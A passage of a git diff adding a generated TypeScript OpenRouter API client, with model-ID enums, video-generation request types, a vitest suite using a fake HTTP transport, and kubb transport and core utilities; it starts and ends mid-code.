'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestModelEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestModelEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestModelEnum] + +export const openrouterPostVideosXAiGrokImagineVideo15LiteRequestResolutionEnum = + { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', + } as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestResolutionEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestResolutionEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestResolutionEnum] + +/** + * @description SpaceXAI: Grok Imagine Video 1.5 Lite (x-ai/grok-imagine-video-1.5-lite) — model-constrained video generation request. Grok Imagine Video 1.5 Lite is a faster, lower-cost video generation model from SpaceXAI, distilled from [Grok Imagine Video 1.5](/x-ai/grok-imagine-video-1.5). It supports text-to-video and image-to-video, trading some quality for speed... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteOptions = { + body: OpenrouterPostVideosXAiGrokImagineVideo15LiteBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteResponses = { + '200': OpenrouterPostVideosXAiGrokImagineVideo15LiteStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteResponse = + OpenrouterPostVideosXAiGrokImagineVideo15LiteStatus200 diff --git a/packages/ai-openrouter/tests/generated-client.test.ts b/packages/ai-openrouter/tests/generated-client.test.ts new file mode 100644 index 0000000000..3707c81ea2 --- /dev/null +++ b/packages/ai-openrouter/tests/generated-client.test.ts @@ -0,0 +1,119 @@ +import { describe, expect, it } from 'vitest' +import { createOpenRouterClient } from '../src/client' + +// The client sends chat, responses, and video create through the generated +// operations. The `httpClient` seam sees the final request. + +function fakeHttp(respond: () => Response) { + const sent: Array = [] + return { + sent, + httpClient: { + request: async (request: Request) => { + sent.push(request) + return await Promise.resolve(respond()) + }, + }, + } +} + +const json = (body: unknown, status = 200) => + new Response(JSON.stringify(body), { + status, + headers: { 'content-type': 'application/json' }, + }) + +describe('generated OpenRouter client', () => { + it('sends a JSON chat completion to the generated path', async () => { + const { sent, httpClient } = fakeHttp(() => + json({ + id: 'gen-1', + object: 'chat.completion', + created: 1, + model: 'openai/gpt-5', + system_fingerprint: null, + choices: [ + { + index: 0, + finish_reason: 'stop', + message: { role: 'assistant', content: 'hi' }, + }, + ], + }), + ) + const client = createOpenRouterClient({ apiKey: 'sk-or-test', httpClient }) + const result = await client.chat.send({ + chatRequest: { + model: 'openai/gpt-5', + messages: [{ role: 'user', content: 'hello' }], + maxTokens: 5, + }, + }) + + expect(sent).toHaveLength(1) + const [request] = sent + expect(request!.method).toBe('POST') + expect(request!.url).toBe('https://openrouter.ai/api/v1/chat/completions') + expect(request!.headers.get('content-type')).toBe('application/json') + expect(request!.headers.get('authorization')).toBe('Bearer sk-or-test') + // The body is renamed to the wire (snake_case). + expect(await request!.json()).toMatchObject({ + model: 'openai/gpt-5', + messages: [{ role: 'user', content: 'hello' }], + max_tokens: 5, + }) + expect(result).toMatchObject({ + id: 'gen-1', + choices: [{ finishReason: 'stop', message: { content: 'hi' } }], + }) + }) + + it('streams responses events from the generated path under a custom base URL', async () => { + const delta = (text: string, sequence: number) => ({ + type: 'response.output_text.delta', + sequence_number: sequence, + item_id: 'm', + output_index: 0, + content_index: 0, + delta: text, + logprobs: [], + }) + const events = [delta('He', 1), delta('y', 2)] + const sse = + events.map((event) => `data: ${JSON.stringify(event)}\n\n`).join('') + + 'data: [DONE]\n\n' + const { sent, httpClient } = fakeHttp( + () => + new Response(sse, { + headers: { 'content-type': 'text/event-stream' }, + }), + ) + const client = createOpenRouterClient({ + apiKey: 'sk-or-test', + serverURL: 'https://proxy.example.com/openrouter/api/v1/', + httpClient, + }) + const stream = await client.beta.responses.send({ + responsesRequest: { model: 'openai/gpt-5', input: 'hi', stream: true }, + }) + + const received: Array = [] + for await (const event of stream) received.push(event) + + const [request] = sent + expect(request!.method).toBe('POST') + expect(request!.url).toBe( + 'https://proxy.example.com/openrouter/api/v1/responses', + ) + expect(request!.headers.get('accept')).toBe('text/event-stream') + expect(await request!.json()).toMatchObject({ + model: 'openai/gpt-5', + input: 'hi', + stream: true, + }) + expect(received).toMatchObject([ + { type: 'response.output_text.delta', delta: 'He', sequenceNumber: 1 }, + { type: 'response.output_text.delta', delta: 'y', sequenceNumber: 2 }, + ]) + }) +}) diff --git a/packages/ai-openrouter/vite.config.ts b/packages/ai-openrouter/vite.config.ts index df63406fd7..2425f6859d 100644 --- a/packages/ai-openrouter/vite.config.ts +++ b/packages/ai-openrouter/vite.config.ts @@ -20,6 +20,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, diff --git a/packages/ai-utils/package.json b/packages/ai-utils/package.json index 54d441e30c..7e6a012d8d 100644 --- a/packages/ai-utils/package.json +++ b/packages/ai-utils/package.json @@ -28,6 +28,10 @@ "./http": { "types": "./dist/esm/http/index.d.ts", "import": "./dist/esm/http/index.js" + }, + "./kubb": { + "types": "./dist/esm/kubb.d.ts", + "import": "./dist/esm/kubb.js" } }, "sideEffects": false, diff --git a/packages/ai-utils/src/generated/kubb/client.ts b/packages/ai-utils/src/generated/kubb/client.ts new file mode 100644 index 0000000000..02f21b59b8 --- /dev/null +++ b/packages/ai-utils/src/generated/kubb/client.ts @@ -0,0 +1,151 @@ +import * as core from './core' +import type { ResponseType, Transport, TransportResult } from './core' +import { createClientCore, getResponseContentType } from './core' +import { isJsonMediaType } from './serializers' +export * from './core' + +/** The request and response objects of this transport, carried on every result and error. */ +export type NativeRequest = Request +export type NativeResponse = Response + +/** + * Extra `fetch` init the transport spreads onto every `Request`, an escape hatch for fields the runtime does not set itself such as `cache`, `redirect`, and Next.js's `next`. + */ +export type FetchOptions = RequestInit & { next?: Record } + +export type RequestConfig< + TBody = unknown, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = core.RequestConfig & { + options?: FetchOptions +} +export type Options< + TData extends core.DataShape, + ThrowOnError extends boolean = true, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = core.Options & { + options?: FetchOptions +} +export type ClientConfig< + TRequest = NativeRequest, + TResponse = NativeResponse, +> = core.ClientConfig & { options?: FetchOptions } +export type ResolvedRequest = core.ResolvedRequest & { options?: FetchOptions } +export type ResponseError< + TError = unknown, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = core.ResponseError +/** The core's `ResponseError` class, typed with this transport's request and response. `instanceof` and `ResponseError.is` both match what the client throws. */ +export const ResponseError = core.ResponseError as { + new ( + config: ConstructorParameters< + typeof core.ResponseError + >[0], + ): core.ResponseError + is: typeof core.ResponseError.is + // `instanceof` narrows to this type, so it carries the native request and response. + prototype: core.ResponseError +} + +function detectResponseType( + contentType: string | null, +): ResponseType | undefined { + if (!contentType) return undefined + if (contentType.includes('text/event-stream')) return 'stream' + if ( + contentType.includes('application/json') || + contentType.includes('text/json') + ) + return 'json' + if (contentType.includes('text/')) return 'text' + if ( + contentType.includes('image/') || + contentType.includes('application/octet-stream') + ) + return 'blob' + return undefined +} + +async function parseResponse( + response: Response, + responseType?: ResponseType, +): Promise { + if ( + response.status === 204 || + response.status === 205 || + response.status === 304 || + !response.body + ) { + return undefined + } + + const contentType = response.headers.get('Content-Type') + // A server may answer a streamed operation with JSON, or with an error body: both are decoded by their content type. Any other streamed success body stays a stream. + const detected = + responseType === 'stream' && (!response.ok || isJsonMediaType(contentType)) + ? undefined + : responseType + switch (detected ?? detectResponseType(contentType)) { + case 'text': + case 'document': + return response.text() + case 'blob': + return response.blob() + case 'arraybuffer': + return response.arrayBuffer() + case 'stream': + return response.body ?? undefined + case 'json': { + // An empty body with a JSON content-type would make response.json() throw, so treat it as no data. + const body = await response.text() + return body ? JSON.parse(body) : undefined + } + } + + const text = await response.text() + if (!text) return undefined + try { + return JSON.parse(text) + } catch { + return text + } +} + +/** + * The default transport that sends the resolved request through `globalThis.fetch` and returns the parsed body with the native request and response. + */ +export const defaultTransport: Transport = async ( + request: ResolvedRequest, +): Promise => { + const init: RequestInit = { + ...request.options, + method: request.method, + headers: request.headers, + body: request.body, + signal: request.signal, + } + if (request.credentials) init.credentials = request.credentials + + const nativeRequest = new Request(request.url, init) + const response = await globalThis.fetch(nativeRequest) + const data = await parseResponse(response, request.responseType) + + return { + data, + status: response.status, + statusText: response.statusText, + headers: response.headers, + contentType: getResponseContentType(response.headers), + request: nativeRequest, + response, + } +} + +export const client = createClientCore({ defaultTransport }) + +export const createClient = ( + config?: Parameters[0], +) => client.createClient(config) diff --git a/packages/ai-utils/src/generated/kubb/core.ts b/packages/ai-utils/src/generated/kubb/core.ts new file mode 100644 index 0000000000..eabcfa7457 --- /dev/null +++ b/packages/ai-utils/src/generated/kubb/core.ts @@ -0,0 +1,1021 @@ +import type { NativeRequest, NativeResponse } from './client' +import type { + HeadersInit, + HttpMethod, + PathParamStyle, + PathSerializer, + RequestBody, + Serializers, + Styles, +} from './serializers' +import type { + StandardSchemaValidator, + ValidateOption, + ValidationErrorHandler, +} from './standardSchema' +import { + applyHeaderStyles, + baseContentType, + defaultBodySerializer, + defaultPathSerializer, + defaultQuerySerializer, + isDefaultJsonBody, + serializeCookies, +} from './serializers' +import { isValidationEnabled, runValidator } from './standardSchema' +export type { + ValidateOption, + ValidationErrorContext, + ValidationErrorHandler, +} from './standardSchema' + +/** + * HTTP status codes treated as a success, everything else is an error. + */ +export type SuccessStatusCode = + | '200' + | '201' + | '202' + | '203' + | '204' + | '205' + | '206' + | '207' + | '208' + | '226' + +export type SuccessOf = TResponses[Extract< + keyof TResponses, + SuccessStatusCode +>] + +export type ErrorOf = TResponses[Exclude< + keyof TResponses, + SuccessStatusCode +>] + +/** + * Converts a response record's string status key to its numeric literal, leaving non-numeric keys like `default` as `number`. + */ +export type ToStatusNumber = + TStatus extends `${infer TNumber extends number}` ? TNumber : number + +/** + * Unwraps content-type variants to keep the bare body on `error`. + */ +export type DataOf = T extends { contentType: string; data: infer TData } + ? TData + : T + +/** + * Keeps `contentType` beside `data` so switching on it narrows the body. + */ +export type SuccessVariant = + TEntry extends { contentType: string; data: unknown } + ? TEntry extends { contentType: infer TContentType; data: infer TData } + ? { + status: ToStatusNumber + data: TData + error: undefined + contentType: TContentType + request: TRequest + response: TResponse + } + : never + : { + status: ToStatusNumber + data: TEntry + error: undefined + contentType: string | undefined + request: TRequest + response: TResponse + } + +/** + * Narrows `data` or `error` when switching on the numeric status. + */ +export type ResultByStatus< + TResponses, + TStatus extends keyof TResponses, + TRequest, + TResponse, +> = TStatus extends SuccessStatusCode + ? SuccessVariant + : { + status: ToStatusNumber + data: undefined + error: DataOf + contentType: string | undefined + request: TRequest + response: TResponse + } + +export type ResultUnion = { + [TStatus in keyof TResponses]: ResultByStatus< + TResponses, + TStatus, + TRequest, + TResponse + > +}[keyof TResponses] + +/** + * Selects success statuses without letting untyped error payloads widen `data`. + */ +export type SuccessResultUnion = { + [TStatus in Extract]: ResultByStatus< + TResponses, + TStatus, + TRequest, + TResponse + > +}[Extract] + +/** + * Narrows `data` and `error` by status. With `throwOnError`, includes only success variants. + */ +export type RequestResult< + TResponses, + ThrowOnError extends boolean = true, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = ThrowOnError extends true + ? [SuccessResultUnion] extends [never] + ? { + status: number + data: SuccessOf + error: undefined + contentType: string | undefined + request: TRequest + response: TResponse + } + : SuccessResultUnion + : [ResultUnion] extends [never] + ? { + status: number + data: undefined + error: undefined + contentType: string | undefined + request: TRequest + response: TResponse + } + : ResultUnion + +/** + * A `RequestResult` promise with an extra `unwrap()` method that resolves to the success body. + */ +export type Unwrappable = + Promise & { + unwrap: () => Promise['data']> + } + +/** + * Attaches `unwrap()` to a result promise, which rejects with `error` when the result carried one. + * + * @example + * ```ts + * const { data, error } = await getPetById({ path: { petId: 1 } }) + * ``` + * + * @example + * ```ts + * const pet = await getPetById({ path: { petId: 1 } }).unwrap() + * ``` + */ +export function withUnwrap( + promise: Promise, +): Unwrappable { + const unwrappable = promise as Unwrappable + unwrappable.unwrap = () => + promise.then((result) => { + if (result.error !== undefined) throw result.error + return result.data as Extract['data'] + }) + return unwrappable +} + +/** + * The shape a generated operation returns with `returnType: 'data'`: the success body when + * `throwOnError` is true, or the full `RequestResult` when it is false. + */ +export type UnwrappedResult< + TResponses, + ThrowOnError extends boolean = true, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = ThrowOnError extends true + ? RequestResult['data'] + : RequestResult + +/** + * Returns the success body when `throwOnError` is true, or the full result when it is false. + */ +export function unwrapResult( + promise: Promise, + throwOnError: boolean | undefined, +): Promise { + return promise.then((result) => + (throwOnError ?? true) ? result.data : result, + ) +} + +export type DataShape = { + body?: unknown + cookies?: unknown + headers?: unknown + path?: unknown + query?: unknown +} + +export type RequestCredentials = 'omit' | 'same-origin' | 'include' +export type ResponseType = + | 'arraybuffer' + | 'blob' + | 'document' + | 'json' + | 'text' + | 'stream' + | 'formdata' + +/** + * Decodes a response body for a codec's media type. + */ +export type Deserializer = ( + raw: unknown, + contentType: string, +) => T | Promise + +/** + * Encodes a request body for a codec's media type. + */ +export type ContentBodySerializer = ( + body: unknown, + contentType?: string, +) => RequestBody | undefined + +/** + * Encodes requests or decodes responses for a media type. Either direction can be omitted. + */ +export type Codec = { + serialize?: ContentBodySerializer + deserialize?: Deserializer +} + +/** + * A string sets the request content type. The object form can also set `Accept`. + */ +export type ContentType = string | { request?: string; response?: string } + +/** + * Validates request bodies and params, success bodies, or non-throwing error bodies with Standard Schema. + */ +export type Validator = StandardSchemaValidator + +/** + * A resolved security scheme carried on each generated call's `security` array and passed to the `auth` resolver. + */ +export type Auth = { + type: 'http' | 'apiKey' | 'oauth2' | 'openIdConnect' + scheme?: 'bearer' | 'basic' + name?: string + in?: 'header' | 'query' | 'cookie' + scopes?: Array +} + +/** + * Return `user:password` for basic auth, or `undefined` to skip a scheme. + */ +export type AuthToken = string | undefined + +/** + * Resolves the token for a security scheme, either a static token or a callback called per scheme until one returns a token. + */ +export type AuthResolver = + | AuthToken + | ((auth: Auth) => AuthToken | Promise) + +export type RequestConfig< + TBody = unknown, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = { + baseURL?: string + url?: string + method?: HttpMethod + path?: unknown + query?: unknown + /** Alias of `query`, kept for callers that pass the query under this name. */ + params?: unknown + cookies?: unknown + body?: TBody + headers?: unknown + styles?: Styles + signal?: AbortSignal + credentials?: RequestCredentials + options?: Record + contentType?: ContentType + responseType?: ResponseType + throwOnError?: boolean + client?: ClientInstance + transport?: Transport + serializer?: Serializers + codecs?: Record + validator?: { + request?: Validator + path?: Validator + query?: Validator + headers?: Validator + response?: Validator + error?: Validator + } + onValidationError?: ValidationErrorHandler + validate?: ValidateOption + security?: Array + auth?: AuthResolver +} + +/** + * Combines client options with the operation's typed request params and body. + */ +export type Options< + TData extends DataShape, + ThrowOnError extends boolean = true, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = Omit, keyof DataShape | 'url'> & + TData & { + client?: ClientInstance + throwOnError?: ThrowOnError + } + +/** + * Client-level configuration shared by every call an instance makes, overridden by the per-call `RequestConfig`. + */ +export type ClientConfig< + TRequest = NativeRequest, + TResponse = NativeResponse, +> = { + baseURL?: string + headers?: HeadersInit + credentials?: RequestCredentials + options?: Record + throwOnError?: boolean + transport?: Transport + serializer?: Serializers + codecs?: Record + onValidationError?: ValidationErrorHandler + validate?: ValidateOption + auth?: AuthResolver +} + +/** + * The normalized request the transport receives, with all serialization, auth, and header work already done. + */ +export type ResolvedRequest = { + url: string + method: string + headers: Record + body?: RequestBody + signal?: AbortSignal + credentials?: RequestCredentials + options?: Record + responseType?: ResponseType +} + +/** + * What a transport returns: the parsed body plus the native request and response objects. + */ +export type TransportResult< + TData = unknown, + TRequest = NativeRequest, + TResponse = NativeResponse, +> = { + data: TData + status: number + statusText: string + headers: Headers + contentType?: string + request: TRequest + response: TResponse +} + +/** + * The per-plugin send, supplied to `createClientCore` as `defaultTransport`. + */ +export type Transport = ( + request: ResolvedRequest, +) => Promise> + +export type CallResult = { + status: number + data: unknown + error: unknown + contentType: string | undefined + request: TRequest + response: TResponse +} + +export type InterceptorFn = ( + value: T, + context?: TContext, +) => T | Promise + +/** + * A single interceptor channel with a transport-agnostic `use` / `eject` / `update` API. + */ +export type InterceptorStack = { + use: (fn: InterceptorFn) => number + eject: (id: number) => void + update: (id: number, fn: InterceptorFn) => void + run: (value: T, context?: TContext) => Promise +} + +export type Interceptors< + TRequest = NativeRequest, + TResponse = NativeResponse, +> = { + request: InterceptorStack< + ResolvedRequest, + RequestConfig + > + response: InterceptorStack< + TransportResult, + RequestConfig + > + error: InterceptorStack< + ResponseError, + RequestConfig + > +} + +export type UrlConfig = Pick< + RequestConfig, + 'baseURL' | 'url' | 'path' | 'query' | 'params' | 'serializer' | 'styles' +> + +/** + * A client instance: the callable send plus configuration, interceptors, and an isolated + * `createClient` factory bound to the same transport. + */ +export type ClientInstance< + TRequest = NativeRequest, + TResponse = NativeResponse, +> = { + ( + config: RequestConfig, + ): Promise> + getConfig: () => ClientConfig + setConfig: ( + config: ClientConfig, + ) => ClientConfig + getUrl: (config: UrlConfig) => string + interceptors: Interceptors + createClient: ( + config?: ClientConfig, + ) => ClientInstance +} + +/** + * Thrown for a non-2xx response, so a resolved call always means success. + */ +export class ResponseError< + TError = unknown, + TRequest = NativeRequest, + TResponse = NativeResponse, +> extends Error { + data: TError + status: number + statusText: string + contentType: string | undefined + request: TRequest + response: TResponse + + constructor(config: { + data: TError + status: number + statusText: string + contentType?: string + request: TRequest + response: TResponse + method?: string + url?: string + }) { + // The query and hash are left out: sensitive query parameters or fragments must not reach logs. + const cleanUrl = config.url?.split(/[?#]/)[0] + const target = [config.method, cleanUrl].filter(Boolean).join(' ') + const statusText = config.statusText?.trim() + super( + `${target ? `${target} failed` : 'Request failed'} with status ${config.status}${statusText ? ` ${statusText}` : ''}`, + ) + this.name = 'ResponseError' + this.data = config.data + this.status = config.status + this.statusText = config.statusText + this.contentType = config.contentType + this.request = config.request + this.response = config.response + } + + /** + * Matches on `name`, not `instanceof`: every generated client bundles its own `ResponseError` class. + */ + static is(error: unknown): error is ResponseError { + return error instanceof Error && error.name === 'ResponseError' + } +} + +export type ResponseErrorConfig = ResponseError + +function headerEntries(headers: object): Array<[string, unknown]> { + if (Array.isArray(headers)) return headers + return headers instanceof Headers ? [...headers] : Object.entries(headers) +} + +function serializeHeaders( + headers: HeadersInit | undefined, +): Record { + if (!headers) return {} + const entries = headerEntries(headers) + const result: Record = {} + for (const [key, value] of entries) { + if (value === undefined || value === null) continue + result[key] = + typeof value === 'string' + ? value + : typeof value === 'object' + ? JSON.stringify(value) + : String(value) + } + return result +} + +function collectHeadersCaseInsensitive( + ...sources: Array +): Record { + const keys = new Map() + const result: Record = {} + for (const source of sources) { + if (!source) continue + const entries = headerEntries(source) + for (const [key, value] of entries) { + if (value === undefined || value === null) continue + const lowerCase = key.toLowerCase() + const previous = keys.get(lowerCase) + if (previous !== undefined) delete result[previous] + keys.set(lowerCase, key) + result[key] = value + } + } + return result +} + +function getHeader( + headers: Record, + name: string, +): string | undefined { + const key = Object.keys(headers).find( + (k) => k.toLowerCase() === name.toLowerCase(), + ) + return key ? headers[key] : undefined +} + +function serializeUrl({ + parts, + pathParams, + search, + pathSerializer = defaultPathSerializer, + pathStyles, +}: { + parts: Array + pathParams: Record + search: string + pathSerializer?: PathSerializer + pathStyles?: Record +}): string { + const path = parts + .filter(Boolean) + .join('') + 